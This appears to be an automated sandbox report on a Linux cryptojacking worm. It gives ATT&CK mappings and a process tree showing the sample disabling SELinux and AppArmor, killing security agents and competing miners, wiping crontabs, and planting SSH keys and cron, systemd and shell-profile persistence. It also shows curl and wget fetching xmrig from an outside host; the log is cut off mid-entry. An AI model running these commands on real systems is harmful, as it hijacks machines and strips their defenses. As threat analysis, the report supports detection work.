41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

persistence privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/cron.d/hermes_sync	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Creates/modifies environment variables 1 TTPs 4 IoCs

Creating/modifying environment variables is a common persistence mechanism.

Path Interception by PATH Environment Variable

persistence privilege_escalation

description	ioc	Process
File opened for modification	/root/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/root/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Disables SELinux 1 TTPs 1 IoCs

Disables SELinux security module.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1490	setenforce

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/hermes-core.service	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Modifies Bash startup script 2 TTPs 4 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/home/user/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/root/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/root/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	(sysv-install)	1536	systemctl

Discovers running processes 1 TTPs 23 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
1787	ps
1613	ps
1776	ps
1618	ps
1628	ps
1633	ps
1731	ps
1746	ps
1751	ps
1766	ps
1792	ps
1603	ps
1623	ps
1638	ps
1721	ps
1726	ps
1736	ps
1761	ps
1771	ps
1608	ps
1741	ps
1756	ps
1782	ps

Reads CPU attributes 1 TTPs 26 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/169/cmdline	ps
File opened for reading	/proc/1092/stat	ps
File opened for reading	/proc/415/stat	ps
File opened for reading	/proc/80/status	ps
File opened for reading	/proc/923/status	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/483/status	ps
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/34/stat	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/171/status	ps
File opened for reading	/proc/35/stat	ps
File opened for reading	/proc/601/cmdline	ps
File opened for reading	/proc/89/cmdline	ps
File opened for reading	/proc/171/cmdline	ps
File opened for reading	/proc/160/status	ps
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/1090/status	ps
File opened for reading	/proc/1100/cmdline	ps
File opened for reading	/proc/966/cmdline	ps
File opened for reading	/proc/986/cmdline	ps
File opened for reading	/proc/475/stat	ps
File opened for reading	/proc/647/stat	ps
File opened for reading	/proc/1074/status	ps
File opened for reading	/proc/436/cmdline	ps
File opened for reading	/proc/83/cmdline	ps
File opened for reading	/proc/1039/stat	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/1730/cmdline	ps
File opened for reading	/proc/464/status	ps
File opened for reading	/proc/81/status	ps
File opened for reading	/proc/948/stat	ps
File opened for reading	/proc/424/stat	ps
File opened for reading	/proc/528/cmdline	ps
File opened for reading	/proc/80/cmdline	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/160/cmdline	ps
File opened for reading	/proc/971/status	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/81/stat	ps
File opened for reading	/proc/1133/stat	ps
File opened for reading	/proc/1488/cmdline	ps
File opened for reading	/proc/165/stat	ps
File opened for reading	/proc/1455/status	ps
File opened for reading	/proc/174/cmdline	ps
File opened for reading	/proc/82/stat	ps
File opened for reading	/proc/1758/stat	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/26/cmdline	ps
File opened for reading	/proc/1100/stat	ps
File opened for reading	/proc/1090/stat	ps
File opened for reading	/proc/1097/status	ps
File opened for reading	/proc/475/stat	ps
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/723/status	pgrep
File opened for reading	/proc/1068/cmdline	pgrep
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/1053/cmdline	ps
File opened for reading	/proc/1488/stat	ps
File opened for reading	/proc/82/status	ps

System Network Configuration Discovery 1 TTPs 12 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1861	curl
1868	wget
1870	curl
1872	wget
1874	curl
1876	wget
1883	curl
1885	wget
1896	curl
1898	wget
1900	curl
1902	wget

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.jhbc4U	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/sh-thd.3qogyB	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/sh-thd.nLIDBA	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_rat	wget
File opened for modification	/tmp/hermes_rat	wget
File opened for modification	/tmp/hermes_rat	wget

/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
1⤵
- Adds new SSH keys
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies systemd
- Modifies Bash startup script
- Writes file to tmp directory
PID:1488
- /bin/cat
  cat
  2⤵
  PID:1489
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:1490
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:1491
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1492
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1495
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    PID:1496
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1499
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    PID:1498
- - /bin/systemctl
    systemctl -p Triggers show acpid.socket
    3⤵
    PID:1502
- - /bin/systemctl
    systemctl -p Triggers show apport-forward.socket
    3⤵
    PID:1506
- - /bin/systemctl
    systemctl -p Triggers show avahi-daemon.socket
    3⤵
    PID:1507
- - /bin/systemctl
    systemctl -p Triggers show cups.socket
    3⤵
    PID:1508
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    PID:1509
- - /bin/systemctl
    systemctl -p Triggers show saned.socket
    3⤵
    PID:1510
- - /bin/systemctl
    systemctl -p Triggers show snapd.socket
    3⤵
    PID:1511
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    PID:1512
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    PID:1513
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    PID:1514
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    PID:1515
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    PID:1516
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    PID:1517
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    PID:1518
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    PID:1519
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    PID:1520
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    PID:1521
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    PID:1522
- - /bin/systemctl
    systemctl -p Triggers show uuidd.socket
    3⤵
    PID:1523
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1491
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1491
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1491
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1491
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1491
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1491
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Changes its process name
  PID:1535
- - /lib/systemd/systemd-sysv-install
    /lib/systemd/systemd-sysv-install disable apparmor
    3⤵
    PID:1536
  - - /usr/bin/getopt
      getopt -o r: --long root: -- disable apparmor
      4⤵
      PID:1537
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor defaults
      4⤵
      PID:1538
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1540
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1540
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1540
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1540
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1540
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1540
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor disable
      4⤵
      PID:1561
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1562
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1562
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1562
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1562
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1562
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1562
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1607
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1606
- /bin/grep
  grep aegis
  2⤵
  PID:1605
- /bin/grep
  grep -v grep
  2⤵
  PID:1604
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:1603
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1612
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1611
- /bin/grep
  grep aliyun
  2⤵
  PID:1610
- /bin/grep
  grep -v grep
  2⤵
  PID:1609
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1608
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1617
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1616
- /bin/grep
  grep Yun
  2⤵
  PID:1615
- /bin/grep
  grep -v grep
  2⤵
  PID:1614
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1613
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1622
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1621
- /bin/grep
  grep hids
  2⤵
  PID:1620
- /bin/grep
  grep -v grep
  2⤵
  PID:1619
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1618
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1627
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1626
- /bin/grep
  grep cloudwalker
  2⤵
  PID:1625
- /bin/grep
  grep -v grep
  2⤵
  PID:1624
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1623
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1632
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1631
- /bin/grep
  grep titanagent
  2⤵
  PID:1630
- /bin/grep
  grep -v grep
  2⤵
  PID:1629
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1628
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1637
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1636
- /bin/grep
  grep edr
  2⤵
  PID:1635
- /bin/grep
  grep -v grep
  2⤵
  PID:1634
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1633
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1642
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1641
- /bin/grep
  grep sgagent
  2⤵
  PID:1640
- /bin/grep
  grep -v grep
  2⤵
  PID:1639
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1638
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  - Reads runtime system information
  PID:1648
- /bin/grep
  grep -v -
  2⤵
  PID:1647
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1646
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1645
- /bin/grep
  grep :23
  2⤵
  PID:1644
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1654
- /bin/grep
  grep -v -
  2⤵
  PID:1653
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1652
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1651
- /bin/grep
  grep :143
  2⤵
  PID:1650
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1660
- /bin/grep
  grep -v -
  2⤵
  PID:1659
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1658
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1657
- /bin/grep
  grep :2222
  2⤵
  PID:1656
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1666
- /bin/grep
  grep -v -
  2⤵
  PID:1665
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1664
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1663
- /bin/grep
  grep :3333
  2⤵
  PID:1662
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1672
- /bin/grep
  grep -v -
  2⤵
  PID:1671
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1670
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1669
- /bin/grep
  grep :3389
  2⤵
  PID:1668
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1678
- /bin/grep
  grep -v -
  2⤵
  PID:1677
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1676
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1675
- /bin/grep
  grep :5555
  2⤵
  PID:1674
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1684
- /bin/grep
  grep -v -
  2⤵
  PID:1683
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1682
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1681
- /bin/grep
  grep :6666
  2⤵
  PID:1680
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1690
- /bin/grep
  grep -v -
  2⤵
  PID:1689
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1688
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1687
- /bin/grep
  grep :6665
  2⤵
  PID:1686
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1696
- /bin/grep
  grep -v -
  2⤵
  PID:1695
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1694
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1693
- /bin/grep
  grep :6667
  2⤵
  PID:1692
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1702
- /bin/grep
  grep -v -
  2⤵
  PID:1701
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1700
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1699
- /bin/grep
  grep :7777
  2⤵
  PID:1698
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1708
- /bin/grep
  grep -v -
  2⤵
  PID:1707
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1706
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1705
- /bin/grep
  grep :8444
  2⤵
  PID:1704
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1714
- /bin/grep
  grep -v -
  2⤵
  PID:1713
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1712
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1711
- /bin/grep
  grep :3347
  2⤵
  PID:1710
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1720
- /bin/grep
  grep -v -
  2⤵
  PID:1719
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1718
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1717
- /bin/grep
  grep :10008
  2⤵
  PID:1716
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1725
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  - Reads runtime system information
  PID:1724
- /bin/grep
  grep kdevtmpfsi
  2⤵
  PID:1723
- /bin/grep
  grep -v grep
  2⤵
  PID:1722
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1721
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1730
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1729
- /bin/grep
  grep kinsing
  2⤵
  PID:1728
- /bin/grep
  grep -v grep
  2⤵
  PID:1727
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1726
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1735
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1734
- /bin/grep
  grep watchdogs
  2⤵
  PID:1733
- /bin/grep
  grep -v grep
  2⤵
  PID:1732
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:1731
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1740
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1739
- /bin/grep
  grep kthrotlds
  2⤵
  PID:1738
- /bin/grep
  grep -v grep
  2⤵
  PID:1737
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1736
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1745
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1744
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:1743
- /bin/grep
  grep -v grep
  2⤵
  PID:1742
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1741
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1750
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1749
- /bin/grep
  grep xmrig
  2⤵
  PID:1748
- /bin/grep
  grep -v grep
  2⤵
  PID:1747
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1746
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1755
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1754
- /bin/grep
  grep xmr-stak
  2⤵
  PID:1753
- /bin/grep
  grep -v grep
  2⤵
  PID:1752
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1751
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1760
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1759
- /bin/grep
  grep minerd
  2⤵
  PID:1758
- /bin/grep
  grep -v grep
  2⤵
  PID:1757
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1756
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1765
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1764
- /bin/grep
  grep cryptonight
  2⤵
  PID:1763
- /bin/grep
  grep -v grep
  2⤵
  PID:1762
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1761
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1770
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1769
- /bin/grep
  grep watchbog
  2⤵
  PID:1768
- /bin/grep
  grep -v grep
  2⤵
  PID:1767
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1766
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1775
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1774
- /bin/grep
  grep ddg
  2⤵
  PID:1773
- /bin/grep
  grep -v grep
  2⤵
  PID:1772
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1771
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1780
- - /usr/local/sbin/kill
    kill -9 3 4 5 31 32 35 84 86 137 160 173 174 175 176 178
    3⤵
    PID:1781
- - /usr/local/bin/kill
    kill -9 3 4 5 31 32 35 84 86 137 160 173 174 175 176 178
    3⤵
    PID:1781
- - /usr/sbin/kill
    kill -9 3 4 5 31 32 35 84 86 137 160 173 174 175 176 178
    3⤵
    PID:1781
- - /usr/bin/kill
    kill -9 3 4 5 31 32 35 84 86 137 160 173 174 175 176 178
    3⤵
    PID:1781
- - /sbin/kill
    kill -9 3 4 5 31 32 35 84 86 137 160 173 174 175 176 178
    3⤵
    PID:1781
- - /bin/kill
    kill -9 3 4 5 31 32 35 84 86 137 160 173 174 175 176 178
    3⤵
    - Reads CPU attributes
    PID:1781
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1779
- /bin/grep
  grep kworker
  2⤵
  PID:1778
- /bin/grep
  grep -v grep
  2⤵
  PID:1777
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1776
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1786
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1785
- /bin/grep
  grep sustse
  2⤵
  PID:1784
- /bin/grep
  grep -v grep
  2⤵
  PID:1783
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1782
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1791
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1790
- /bin/grep
  grep sustse3
  2⤵
  PID:1789
- /bin/grep
  grep -v grep
  2⤵
  PID:1788
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1787
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1796
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1795
- /bin/grep
  grep systemctI
  2⤵
  PID:1794
- /bin/grep
  grep -v grep
  2⤵
  PID:1793
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:1792
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:1797
- /bin/rm
  rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs /etc/cron.d/anacron /etc/cron.d/popularity-contest /var/spool/cron/crontabs /etc/crontab
  2⤵
  PID:1798
- /bin/mkdir
  mkdir -p /root/.ssh
  2⤵
  PID:1799
- /bin/chmod
  chmod 700 /root/.ssh
  2⤵
  PID:1800
- /bin/grep
  grep -q hermes_worm /root/.ssh/authorized_keys
  2⤵
  PID:1801
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:1802
- /usr/bin/chattr
  chattr +i /root/.ssh/authorized_keys
  2⤵
  PID:1803
- /bin/grep
  grep -q analytics.js /root/.bashrc
  2⤵
  PID:1804
- /bin/grep
  grep -q analytics.js /root/.profile
  2⤵
  PID:1805
- /bin/grep
  grep -q analytics.js /home/user/.bashrc
  2⤵
  PID:1806
- /bin/grep
  grep -q analytics.js /home/user/.profile
  2⤵
  PID:1807
- /bin/cat
  cat
  2⤵
  PID:1808
- /bin/chmod
  chmod 644 /etc/cron.d/hermes_sync
  2⤵
  PID:1809
- /bin/cat
  cat
  2⤵
  PID:1810
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1811
- /bin/systemctl
  systemctl enable hermes-core.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1832
- /bin/systemctl
  systemctl start hermes-core.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1853
- /bin/uname
  uname -m
  2⤵
  PID:1858
- /usr/bin/pgrep
  pgrep -f hermes_miner
  2⤵
  - Reads CPU attributes
  PID:1859
- /usr/bin/seq
  seq 1 3
  2⤵
  PID:1860
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_x64 -o /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  PID:1861
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_x64 -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1868
- /bin/sleep
  sleep 2
  2⤵
  PID:1869
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_x64 -o /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  PID:1870
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_x64 -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1872
- /bin/sleep
  sleep 2
  2⤵
  PID:1873
- /usr/bin/curl
